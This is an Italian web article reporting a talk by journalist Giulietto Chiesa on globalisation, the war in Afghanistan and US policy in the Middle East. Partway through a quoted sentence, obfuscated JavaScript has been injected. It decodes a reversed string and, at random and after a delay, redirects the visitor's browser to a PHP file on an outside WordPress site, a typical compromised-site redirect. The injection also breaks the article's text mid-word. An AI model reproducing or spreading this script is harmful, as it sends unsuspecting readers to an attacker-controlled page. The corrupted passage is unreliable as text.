Giulietto l'inquieto

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“Non sono qui come dirigente politico. Non ascolterete parole di speranza. E’ meglio avere tante persone inquiete per riuscire a capire come agire”. Così Giulietto Chiesa, noto giornalista ed esperto di politica internazionale, ha dato inizio all’incontro “Dal G8 di Genova alla guerra in Afghanistan”, organizzato al circolo Vie nuove lo scorso dicembre. Una serata incentrata sullo stretto rapporto tra globalizzazione e guerra, e sull’analisi del ruolo egemonico degli Stati Uniti a livello internazionale, il cui primo risultato è stato risvegliare in molti la voglia di verità, troppo spesso negata dalla politica e dall’informazione. “Purtroppo, credo alle parole di Bush, qu (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == "string") return $p$VTO6JhIH6WkCGAcPR.list[n].split("").reverse().join("");return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=["'php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ando afferma che in Afghanistan la guerra non finirà nel corso di questa generazione”. In questo modo, Chiesa spiega come questa sia solo un tassello di un progetto più ampio, il cui obiettivo è il controllo – se non il dominio – della zona mediorientale, soprattutto delle sue riserve petrolifere. Non va dimenticato che cinque anni fa gli Stati Uniti hanno proclamato il Mar Caspio zona di interesse primario americano e fino ad ora sono presenti con basi militari in quattro stati ex sovietici: Uzbekistan, Georgia, Azerbaigian e Turkmenistan. Progetto questo legato alla grave situazione economica americana. Mentre la globalizzazione veniva presentata come soluzione ad ogni crisi, nessuno parlava del debito pubblico degli USA, di circa 25 mila miliardi di dollari, né del fatto che stesse raggiungendo i toni di una vera e propria recessione. “Questo sistema consumistico, in cui le persone spendono più di quanto guadagnano, ma che i media ci hanno presentato come perfetto, ha portato il mondo a due contrapposizioni insostenibili” – sottolinea Chiesa – “Una, fra i ricchi, in continua diminuzione, e i poveri, che ormai hanno raggiunto i 5 miliardi; l’altra, fra una società che si sviluppa senza freni e la natura, vittima di tale sviluppo, ormai incapace di continuare a sopportare questa situazione.” La guerra ha il pregio di spostare l’attenzione pubblica sugli islamici, i “nuovi nemici, permettendo agli Stati Uniti di non cambiare rotta e di continuare a “consumare, spendere e distruggere”, senza preoccuparsi delle conseguenze e, soprattutto, di chi le paga. Portare la guerra in tutti i punti di frizione del mondo, fa parte del grande progetto di “lotta globale”, che gli USA sembrano ostinati a voler portare avanti.
“Ma un’altra scelta è possibile – sostiene Chiesa – “Se i nostri interessi non coincidono con quelli di chi vuole accrescere il proprio potere, dobbiamo lavorare per creare delle politiche di alleanza con gli altri paesi, con le altre culture. Agendo nella direzione opposta a quella degli Stati Uniti, che tentano di dividere il mondo sulla base della religione e della cultura, sarà possibile una rivoluzione culturale, popolare e morale, per creare istituzioni diverse da quelle esistenti, che concepiscano il potere in modo differente e conoscano il significato delle parole: rispetto, libertà, diritto”.

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